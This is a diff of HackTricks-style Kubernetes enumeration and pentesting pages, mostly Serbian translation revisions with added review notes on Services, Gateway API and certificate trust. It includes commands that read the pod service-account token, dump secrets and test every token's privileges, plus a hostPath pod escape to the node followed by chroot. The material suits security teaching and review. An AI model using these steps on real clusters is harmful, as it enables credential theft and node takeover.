kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**Iz dokumentacije:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services tipa ExternalName **mapiraju Service na DNS ime**, a ne na tipičan selector kao što je `my-service` ili `cassandra`. Ove Services definišete pomoću `spec.externalName` parametra.
[**Iz dokumentacije:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services tipa ExternalName **mapiraju Service na DNS ime**, a ne na tipičan selector kao što su `my-service` ili `cassandra`. Ove Services definišeš pomoću parametra `spec.externalName`.
Ova definicija Service-a, na primer, mapira `my-service` Service u `prod` namespace-u na `my.database.example.com`:
Na primer, ova definicija Service mapira `my-service` Service u `prod` namespace-u na `my.database.example.com`:
```yaml
apiVersion: v1
kind: Service
@@ -147,15 +148,17 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Prilikom traženja hosta `my-service.prod.svc.cluster.local`, cluster DNS Service vraća `CNAME` zapis sa vrednošću `my.database.example.com`. Pristup `my-service` funkcioniše na isti način kao i kod drugih Services, ali sa ključnom razlikom da se **redirekcija dešava na DNS nivou** umesto preko proxying ili forwarding-a.
Prilikom traženja hosta `my-service.prod.svc.cluster.local`, cluster DNS Service vraća `CNAME` zapis sa vrednošću `my.database.example.com`. Pristupanje `my-service` radi na isti način kao i kod drugih Services, ali sa ključnom razlikom da se **preusmeravanje dešava na DNS nivou** umesto putem proxying ili forwarding.
Izlistaj sve ExternalNames:
Napomena iz security review-a: ako Ingress controller, Gateway implementation, service mesh ili application prihvata ExternalName Service kao backend, controller može da resolve-uje i dosegne external name iz sopstvene network pozicije. To može da izloži samo-internal services kroz javnu routing infrastrukturu kada korisnici mogu da kreiraju i route object i ExternalName Service. Pregledajte konkretnu controller implementation i verziju, ExternalName support flags ili allowlists, route status i tačan target domain pre nego što ovo tretirate kao bezbedno. Na primer, Skipper je zakrpao Kubernetes ExternalName SSRF issue u v0.24.0 tako što je po defaultu isključio ExternalName backends i dokumentovao allowlist opciju.
List all ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices prikazuju konkretne backend adrese i portove na koje Service trenutno rutira. Posebno su korisni kada Service nema selector, kada labels ne objašnjavaju putanju saobraćaja, ili kada je spreman samo deo backendova.
EndpointSlices prikazuju konkretne backend adrese i portove na koje Service trenutno usmerava saobraćaj. Posebno su korisne kada Service nema selector, kada labels ne objašnjavaju putanju saobraćaja, ili kada je samo deo backendova spreman.
Izlistaj EndpointSlices povezane sa Services:
```bash
@@ -164,15 +167,15 @@ kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
Prilikom pregleda exposure-a, uporedite Service selector sa EndpointSlice `targetRef`, adresama endpointa, readiness uslovima i portovima. Service bez selector-a može da se upari sa ručno upravljanim EndpointSlice-ovima i da usmerava traffic ka non-Pod ili neočekivanim destinacijama.
Pri proveri izloženosti, uporedite Service selector sa EndpointSlice `targetRef`, endpoint adresama, uslovima spremnosti i portovima. Selectorless Service može da se upari sa ručno upravljanim EndpointSlices i da usmerava saobraćaj ka non-Pod ili neočekivanim destinacijama.
### Ingress
Za razliku od svih gornjih primera, **Ingress NIJE tip service-a**. Umesto toga, nalazi se **ispred više services i deluje kao smart router** ili entrypoint u vaš cluster.
Za razliku od svih gornjih primera, **Ingress NIJE tip service-a**. Umesto toga, on stoji **ispred više service-a i deluje kao smart router** ili ulazna tačka u vaš cluster.
Možete uraditi mnogo različitih stvari sa Ingress-om, i postoji **mnogo tipova Ingress controllers-a koji imaju različite mogućnosti**.
Sa Ingress-om možete da uradite mnogo različitih stvari, a postoji **mnogo tipova Ingress controller-a koji imaju različite mogućnosti**.
Podrazumevani GKE ingress controller će podići [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) za vas. Ovo će vam omogućiti i path based i subdomain based routing ka backend services. Na primer, možete poslati sve sa foo.yourdomain.com na foo service, i sve ispod yourdomain.com/bar/ path-a na bar service.
Podrazumevani GKE ingress controller će pokrenuti [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) za vas. Ovo će vam omogućiti i path based i subdomain based routing ka backend service-ima. Na primer, možete poslati sve sa foo.yourdomain.com na foo service, a sve ispod yourdomain.com/bar/ path-a na bar service.
YAML za Ingress object na GKE sa [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) može da izgleda ovako:
```yaml
@@ -208,37 +211,46 @@ name: bar
port:
number: 8080
```
Izlistajte sve ingresses:
Listaj sve ingresses:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Iako je u ovom slučaju bolje uzeti informacije o svakoj pojedinačno da bi se lakše pročitale:
Iako je u ovom slučaju bolje da se informacije o svakom uzmu jednu po jednu kako bi se lakše pročitale:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API je noviji Kubernetes API za izlaganje Services. On razdvaja infrastrukturi-pripadajuće Gateway objekte od aplikaciji-pripadajućih Route objekata kao što je HTTPRoute. Ovo je korisno za delegiranje, ali takođe znači da exposure može biti podeljen između namespace-ova.
Gateway API je noviji Kubernetes API za izlaganje Services. On odvaja Gateway objekte kojima upravlja infrastruktura od Route objekata kojima upravlja aplikacija, kao što je HTTPRoute. Ovo je korisno za delegaciju, ali takođe znači da izlaganje može biti podeljeno kroz više namespace-ova.
Prikaži Gateway API exposure objekte:
List Gateway API exposure objects:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Proveri Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references i status conditions kao što je da li je route prihvaćen. Route koji je prihvaćen od strane shared Gateway može da izloži backend čak i kada ne postoji legacy Ingress object.
Proveri Gateway listeners, dozvoljene route namespaces, Route `parentRefs`, hostnames ili SNI podudaranja, filters, backend references, i status conditions kao što su `Accepted`, `ResolvedRefs`, i `Programmed`. Route koju prihvati shared Gateway može izložiti backend čak i kada ne postoji legacy Ingress object.
Nemoj proveravati samo HTTPRoute. GRPCRoute, TLSRoute, TCPRoute, i UDPRoute mogu izložiti non-HTTP services kao što su admin ports, brokers, databases, service-mesh gateways, ili pass-through TLS backends. Takođe pregledaj `ReferenceGrant` objekte za cross-namespace backend ili certificate references i `BackendTLSPolicy` za TLS identitet koji Gateway koristi kada se povezuje na backend Services. Backend TLS policy sama po sebi nije dokaz javne reachability, ali je koristan dokaz kada programmed Gateway route doseže ready Service sa slabom, shared, ili pogrešnom backend identity validation.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -29,9 +29,9 @@ Usually **one** of the directories:
contain the files:
- **ca.crt**: To je ca certificate za proveru kubernetes komunikacije
- **namespace**: Indikuje trenutni namespace
- **token**: Sadrži **service token** trenutnog poda.
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
@@ -55,8 +55,8 @@ If you don't know what is **RBAC**, **read this section**.
## GUI Applications
- **k9s**: GUI koja enumeriše kubernetes cluster iz terminala. Proveri komande na [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Upiši `:namespace` i izaberi all da bi zatim pretraživao resurse u svim namespaces.
- **k8slens**: Nudi nekoliko free trial dana: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
@@ -76,7 +76,7 @@ With **`get`** permissions you can access information of specific assets (_`desc
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Ako imate dozvolu **`list`**, možete izvršavati API zahteve za listanje tipa asset-a (_`get` opcija u `kubectl`_):
Ako imate dozvolu **`list`**, dozvoljeno vam je da izvršavate API zahteve za prikazivanje tipa asset-a (_`get` opcija u `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Oni otvaraju streaming konekciju koja ti vraća ceo manifest `Deployment`-a svaki put kada se promeni (ili kada se kreira novi).
Oni otvaraju streaming connection koja ti vraća ceo manifest jednog Deployment-a kad god se promeni (ili kada se kreira novi).
> [!CAUTION]
> Sledeće `kubectl` komande samo pokazuju kako da izlistaš objekte. Ako želiš da pristupiš podacima, treba da koristiš `describe` umesto `get`
> Sledeće `kubectl` komande pokazuju samo kako da izlistaš objekte. Ako želiš da pristupiš podacima, treba da koristiš `describe` umesto `get`
### Using curl
Iznutra pod-a možeš da koristiš nekoliko env varijabli:
Iznutra pod-a možeš da koristiš nekoliko env variables:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,19 +109,19 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Pod po defaultu može da **access**-uje **kube-api server** na domain name **`kubernetes.default.svc`** i možete videti kube network u **`/etc/resolv.config`** jer ćete tu naći adresu kubernetes DNS servera (".1" iste range je kube-api endpoint).
> Pod po defaultu može da **access** **kube-api server** na domain name **`kubernetes.default.svc`** i možete videti kube network u **`/etc/resolv.config`** jer ćete ovde pronaći address kubernetes DNS servera (".1" iste range je kube-api endpoint).
### Using kubectl
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
Sa tokenom i addressom API servera možete koristiti kubectl ili curl da mu pristupite kao što je ovde navedeno:
By default, The APISERVER is communicating with `https://` schema
Po defaultu, APISERVER komunicira pomoću `https://` schema
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> ako nema `https://` u url, možete dobiti Error kao Bad Request.
> if no `https://` in url, you may get Error Like Bad Request.
Možete pronaći [**official kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da na organizovan način prikaže različite opcije za enumeraciju i razumevanje novog K8s kojem ste dobili pristup.
Možete pronaći [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da prikažu na uređen način različite opcije za enumeraciju i razumevanje novog K8s kojem ste dobili pristup.
Da biste pronašli HTTP request koji `kubectl` šalje, možete koristiti parametar `-v=8`
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
Ako ste uspeli da ukradete neke korisničke kredencijale, možete ih **konfigurisati lokalno** koristeći nešto poput:
Ako ste uspeli da ukradete neke korisničke kredencijale, možete ih **lokalno konfigurisati** koristeći nešto poput:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
```
### Dobij podržane resurse
Sa ovim informacijama znaćete sve servise koje možete da prikažete
Sa ovim informacijama znaćete sve servise koje možete da izlistate
{{#tabs }}
{{#tab name="kubectl" }}
@@ -176,18 +176,44 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
### Metapodaci objekta koje vredi proveriti
Kada možete da pročitate objekat, izvezite kompletan YAML ili JSON umesto da se oslanjate samo na tabelarni prikaz ili `describe`. Najkorisniji bezbednosni kontekst često se nalazi u generičkim poljima objekta koja postoje u mnogim tipovima resursa:
Kada možete da pročitate objekat, izvezite ceo YAML ili JSON umesto da se oslanjate samo na tabelarni izlaz ili `describe`. Najkorisniji bezbednosni kontekst često se nalazi u generičkim poljima objekta koja postoje kroz različite tipove resursa:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` i `kind` identifikuju tačan object i izbegavaju zabunu između objekata sa istim imenom u različitim namespaces ili API groups.
- `metadata.uid`, `name`, `namespace`, `apiVersion` i `kind` identifikuju tačan objekat i izbegavaju zabunu između objekata sa istim imenom u različitim namespace-ovima ili API grupama.
- `metadata.labels` i selectors povezuju Services, Deployments, ReplicaSets, Pods, NetworkPolicies i automation. Praćenje selectors je često najbrži način da se identifikuju stvarni backend pods za jedan Service.
- `metadata.annotations` mogu da procure operational context kao što su ingress behavior, cloud load balancer settings, GitOps ili Helm metadata, policy exemptions i service mesh configuration. Oni ne bi trebalo da sadrže secrets, ali stvarni clusters često tamo otkrivaju korisne tragove.
- `metadata.ownerReferences` prikazuje controller lineage. Ako je Pod vlasništvo ReplicaSet-a koji je vlasništvo Deployment-a, menjanje ili brisanje samo Pod-a obično ne rešava izvor problema.
- `metadata.finalizers` i `metadata.deletionTimestamp` objašnjavaju resources zaglavljene u brisanju i mogu otkriti cleanup controllers ili persistence/disruption trikove.
- `status`, Events i conditions mogu otkriti node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials i controller progress. Oni su korisni tragovi, ali audit logs su i dalje potrebni da bi se dokazalo ko je izvršio akciju.
- `metadata.annotations` mogu otkriti operativni kontekst kao što su ingress ponašanje, cloud load balancer podešavanja, GitOps ili Helm metadata, policy exemptions i service mesh konfiguracija. Ne bi trebalo da sadrže secrets, ali stvarni clusters često tu otkrivaju korisne tragove.
- `metadata.ownerReferences` prikazuje controller lineage. Ako je Pod vlasništvo ReplicaSet-a koji je vlasništvo Deployment-a, promena ili brisanje samo Pod-a obično ne rešava izvor.
- `metadata.finalizers` i `metadata.deletionTimestamp` objašnjavaju resurse zaglavljene u brisanju i mogu otkriti cleanup controllers ili persistence/disruption trikove.
- `status`, Events i conditions mogu otkriti node placement, pod IP-jeve, image ID-jeve, poruke o greškama, scheduling probleme, admission denials i controller progress. Oni su korisni tragovi, ali audit logs su i dalje potrebni da bi se dokazalo ko je izvršio neku akciju.
### Dynamic Resource Allocation and device evidence
Ako cluster koristi GPUs, NICs, FPGAs ili drugi specijalizovani hardware, proverite da li je Kubernetes Dynamic Resource Allocation (DRA) prisutan. DRA koristi `resource.k8s.io` objekte kao što su `DeviceClass`, `ResourceSlice`, `ResourceClaim` i `ResourceClaimTemplate` da opiše dostupne devices i da ih rezerviše za Pods. Ovi objekti mogu otkriti koji nodes mogu da pristupe vrednom hardware-u, koji driver ga upravlja i koji workload ima allocation.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
Tokom pregleda, ograničite pisanje nad cluster-scoped `DeviceClass` i `ResourceSlice` objektima na admine i DRA drivere, a prava za `ResourceClaim` / `ResourceClaimTemplate` zadržite scoped na namespace-ove kojima su potrebna. Prava drivera da ažuriraju `ResourceClaim` status treba da budu eksplicitna i uska. Na nodovima, kubelet PodResources API je često izložen kroz `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets mogu montirati taj direktorijum da bi pregledali dodeljene devices, pa te Pods treba pregledati kao i druge privileged node agente.
### ClusterTrustBundle and add-on certificate trust
Nedavni clusters mogu izlagati `ClusterTrustBundle` objekte u `certificates.k8s.io` API group. To su cluster-scoped X.509 trust anchor bundles koje Pods mogu montirati kroz projected volumes. Širok read access je očekivan, ali write access je osetljiv jer promena trusted roots može uticati na webhooks, aggregated APIs, service meshes i applications koje koriste cluster-distributed CA materijal.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory.
### Get Current Privileges
@@ -212,15 +238,15 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Drugi način da proveriš svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Još jedan način da proverite svoje privilegije je korišćenjem alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Možeš saznati više o **Kubernetes RBAC** u:
Možete saznati više o **Kubernetes RBAC** u:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Kada saznaš koje privilegije** imaš, proveri sledeću stranicu da vidiš **da li možeš da ih zloupotrebiš** za eskalaciju privilegija:
**Kada saznate koje privilegije** imate, pogledajte sledeću stranicu da biste utvrdili **da li možete da ih zloupotrebite** za eskalaciju privilegija:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### Dobij namespace-ove
### Nabavi namespaces
Kubernetes podržava **više virtuelnih klastera** zasnovanih na istom fizičkom klasteru. Ovi virtuelni klasteri se zovu **namespaces**.
Kubernetes podržava **multiple virtual clusters** podržane istim physical cluster-om. Ovi virtual clusters se zovu **namespaces**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -259,7 +285,10 @@ k get namespaces
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
### Dobij secrets
{{#endtab }}
{{#endtabs }}
### Dobijanje secrets
{{#tabs }}
{{#tab name="kubectl" }}
@@ -278,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
Ako možeš da čitaš secrets, možeš da koristiš sledeće linije da dobiješ privilegije povezane sa svakim tokenom:
Ako možete da pročitate secrets, možete da koristite sledeće linije da biste dobili privilegije povezane sa svakim tokenom:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Dobij Service Accounts
### Pribavi Service Accounts
Kao što je pomenuto na početku ove stranice, **kada se pod pokrene, obično mu se dodeljuje service account**. Zbog toga, listanje service accounts, njihovih dozvola i gde se izvršavaju može omogućiti korisniku da eskalira privilegije.
Kao što je diskutovano na početku ove stranice **kada se pod pokrene obično mu se dodeljuje service account**. Zato, listanje service account-ova, njihovih permissions i gde se izvršavaju može omogućiti korisniku da eskalira privileges.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -302,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
### Preuzmi Deployments
Deployments specificiraju željeno stanje za stateless application workloads. Oni kreiraju ReplicaSets, a ti ReplicaSets kreiraju Pods.
Deployments određuju željeno stanje za stateless application workloads. Oni kreiraju ReplicaSets, a ti ReplicaSets kreiraju Pods.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -321,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
### Dobijte StatefulSets
StatefulSets upravljaju Podovima kojima su potrebna stabilna imena, uređeno ponašanje rollout-a i često persistent volumes po repliki.
StatefulSets upravljaju Podovima kojima su potrebna stabilna imena, redosledno ponašanje pri rollout-u, i često persistent volumes po replikama.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -338,7 +367,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
{{#endtab }}
{{#endtabs }}
### Get Pods
### Dobijanje Pods
Pods su stvarni **containers** koji će **run**.
@@ -359,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Pronađi Services
Kubernetes **services** se koriste da **izle service na određenom portu i IP adresi** (koja će delovati kao load balancer za pods koji zapravo pružaju service). Ovo je korisno da znaš gde možeš da pronađeš druge services koje možeš pokušati da napadneš.
Kubernetes **services** se koriste za **izlaganje servisa na određenom portu i IP adresi** (koji će delovati kao load balancer za pods koji zapravo pružaju servis). Ovo je zanimljivo kako bi se saznalo gde možeš da pronađeš druge services koje možeš da pokušaš da napadneš.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -376,9 +405,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
{{#endtab }}
{{#endtabs }}
### Pribavi nodes
### Dobijanje node-ova
Pribavi sve **nodes konfigurisanе unutar cluster-a**.
Dobijte sve **node-ove konfigurisane unutar cluster-a**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -394,9 +423,9 @@ kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }}
{{#endtabs }}
### Pribavi DaemonSets
### Preuzimanje DaemonSets
**DaemonSets** obezbeđuju da je **određeni Pod pokrenut na svim izabranim nodovima** klastera. Ako obrišeš DaemonSet, i Podovi kojima on upravlja biće uklonjeni.
**DaemonSets** obezbeđuju da je **određeni Pod pokrenut na svim izabranim node-ovima** klastera. Ako obrišete DaemonSet, i Pods kojima on upravlja takođe će biti uklonjeni.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -412,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
{{#endtab }}
{{#endtabs }}
### Dobijanje Jobs
### Pribavi Jobs
Jobs kreiraju Pods koji rade do završetka. Obično se koriste za migracije, backup-e, batch poslove i jednokratne administrativne zadatke.
Jobs kreiraju Pods koji rade do završetka. Najčešće se koriste za migracije, backup-e, batch posao i jednokratne administrativne zadatke.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -431,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }}
{{#endtabs }}
### Dobij CronJobs
### Pronađi CronJobs
CronJobs koriste raspored nalik crontab-u za kreiranje Jobs koji pokreću Pods za izvršavanje zadataka.
CronJobs koriste raspored nalik crontab-u za kreiranje Jobs koji pokreću Pods za izvršavanje tipa task.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -450,9 +479,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
{{#endtab }}
{{#endtabs }}
### Dobij configMap
### Pronađi configMap
configMap uvek sadrži mnogo informacija i configfile-ova koje se daju aplikacijama koje rade u kubernetes. Obično možeš da pronađeš mnogo passworda, secrets i tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima.
configMap uvek sadrži mnogo informacija i configfile koji se daje aplikacijama koje rade u kubernetes. Obično možete pronaći mnogo password, secrets, tokens koji se koriste za povezivanje i validaciju sa drugim internim/eksternim service.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -468,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Dobijanje Network Policies / Cilium Network Policies
### Dobijte Network Policies / Cilium Network Policies
{{#tabs }}
{{#tab name="First Tab" }}
@@ -477,7 +506,10 @@ k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
### Uzmi sve / Sve
{{#endtab }}
{{#endtabs }}
### Dobij sve / Sve
{{#tabs }}
{{#tab name="kubectl" }}
@@ -487,14 +519,17 @@ k get all
{{#endtab }}
{{#endtabs }}
### **Preuzmite sve resurse kojima upravlja helm**
### **Prikupi sve resurse kojima upravlja helm**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
### **Get Pods consumptions**
{{#endtab }}
{{#endtabs }}
### **Dobij potrošnju Podova**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -506,11 +541,11 @@ k top pod --all-namespaces
## Interacting with the cluster without using kubectl
Pošto Kubernetes control plane izlaže REST-ful API, možete ručno napraviti HTTP requests i poslati ih drugim alatima, kao što su **curl** ili **wget**.
Pošto Kubernetes control plane izlaže REST-ful API, možete ručno sastaviti HTTP zahteve i slati ih drugim alatima, kao što su **curl** ili **wget**.
### Escaping from the pod
Ako možete da kreirate nove pods, možda ćete moći da iz njih pobegnete na node. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml fajl, pređete na kreirani pod, a zatim uradite chroot u sistem node-a. Možete koristiti već postojeće pods kao referencu za yaml fajl, pošto one prikazuju postojeće images i pathes.
Ako možete da kreirate nove podove, možda ćete moći da iz njih escape-ujete na node. Da biste to uradili, potrebno je da kreirate novi pod pomoću yaml fajla, pređete na kreirani pod i zatim uradite chroot u sistem node-a. Možete koristiti već postojeće podove kao referencu za yaml fajl, jer oni prikazuju postojeće images i pathes.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
@@ -518,7 +553,7 @@ kubectl get pod <name> [-n <namespace>] -o yaml
>
> `k get nodes --show-labels`
>
> Uobičajeno, kubernetes.io/hostname i node-role.kubernetes.io/master su dobri labeli za selekciju.
> Obično su kubernetes.io/hostname i node-role.kubernetes.io/master dobri label za izbor.
Zatim kreiraš svoj attack.yaml fajl
```yaml
@@ -552,7 +587,7 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Nakon toga kreiraš pod
Zatim kreiraš pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
@@ -560,11 +595,11 @@ Sada možete da se prebacite na kreirani pod na sledeći način
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
I na kraju chroot u sistem noda
I na kraju chroot-uješ u system node-a
```bash
chroot /root /bin/bash
```
Informacije dobijene iz: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Kreiranje privileged pod-a
